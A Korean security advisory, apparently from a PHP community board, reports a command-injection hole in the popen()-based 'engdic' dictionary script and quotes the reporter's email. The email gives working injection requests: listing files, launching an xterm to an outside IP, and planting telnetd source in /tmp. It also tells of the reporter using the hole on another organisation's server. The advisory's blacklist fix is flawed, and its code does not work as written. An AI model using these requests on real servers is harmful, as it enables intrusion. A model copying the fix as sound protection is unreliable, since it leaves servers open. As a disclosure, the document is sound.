본문 바로가기

Info

[PHP] ENGDIC 보안


글쓴이:정진호  [보안]PHP ENGDIC 보안 버그 리포트 조회수:2971








문제점 :
PHP 에서 제공하는 popen() 함수를 허점을 이용해 서버에 명령을 실행할 수 있으며
root 의 획득 가능성도 있음.
이 특히 함수를 사용하는 engdic 의 경우 비교적 사용자가 많아 큰 문제가 될 수 있음.


대상 :
1. PHPSchool 자료실에서 다운받은 popen() 함수를 사용하는 engdic  
* MySQL 을 사용하는 engdic 은 문제가 없음.

해결 방법 :

위의 php engdic 을 사용하는 모든 분들은 자신의 프로그램을 점검하고
버그를 수정하기 바랍니다.

1. save_exec_dir 설정을
2. popen함수를 사용안함
3. php소스내에서 입력상자의 ";,&@!"등의 사용을 막음

예] engdic.html 처음 부분을  다음과 같이 수정


---------------------
if($mode=='search')
{
// 파이프의 사용을 막기위해
       $word = ereg_replace( ";", "", $word  );
       $word = ereg_replace( "|", "", $word  );
       $word = ereg_replace( """, "", $word  );
       $word = ereg_replace( "#", "", $word  );
       $word = ereg_replace( "!", "", $word  );
----------------------

기타 : 문제점과  해결책을 제시해 주신 대우정보시스템 기술연구소의
박진철님(agolta@agolta.org)께 감사드립니다.

아래 박진철님의 메일을 참고 하시고 모든 engdic 서비스 제공자는 자신의 시스템을
점검해 보시기 바랍니다.
-------
제목 : 안녕하세요? 보안경고입니다.

.... 중략......

popen이나 exec함수의 문제점입니다.
telnet www.phpschool.com 80
하신후에
get /test/engdic.html?mode=search&word=aaa;ls%20-l
이라고 하시면 결과가 나오죠
만약에 X terminal까지 있으면
get
/test/engdic.html?mode=search&word=aaa;xterm%20-display%20152.149.41.27:0.0
하면 xterm이 바로 뜹니다.(단지 님의 홈은 X패키지를 설치 안하셨지만요.)

예전에 whois.nic.or.kr이 이 문제를 가지고 whois서비스를 하고 있더군요.
제가 xterm한개 띄워주고 wall메세지 보내고 했습니다.

그냥 단순하게
http://www.phpschool.com/test/engdic.html로 접속하셔서
textbox에다 aaa;ls -l하셔도 무방한데요.
engdic.html의 textbox가 길이30자 제한을 두더군요.
텔넷으로 접속하시면 길이30자 제한도 소용없죠.
일일이 telnet접속하고 get치기도 귀찮아서
http://agolta.org/hack_loveme.html같이 만들수도 있습니다.
in.telnetd소스 고쳐서 컴파일하고 23000포트로 띄울수 있죠?
get /test/engdic.html?mode=search&word=aaa;echo "#include<stdio.h> ...
중략" > /tmp/telnetd.c
이런식으로 노가다를 좀 해서요...

아까 검색엔진에서 engdic php를 찾아보니까
어마어마하게 나오더군요.
오히려 www.phpschool.com은 학습싸이트니까 덜 심각해도
님의 소스 받아다 서비스를 제공하는 기업싸이트들은 크게 당할 수 있습니다.
경고를 해 주셔야 겠습니다.

engdic뿐 아니라 popen쓰는 모든 프로그램들을 전부 막으셔야 할 겁니다.
꼭 서비스 해야 한다면 php소스내에 ";,&@!"등의 특수문자를 모두 막아야겠죠.
또는 safe_exec_dir을 꼭 설정 하셔야 하고요.
님의 홈페이지는 php사용하는 사람들이 수시로 접속하는 홈페이지기 때문에
일단 공지사항을 날리시고 검색엔진에서 나오는 대로 웹마스터에게 메일 보내
야겠죠.

그럼 이만...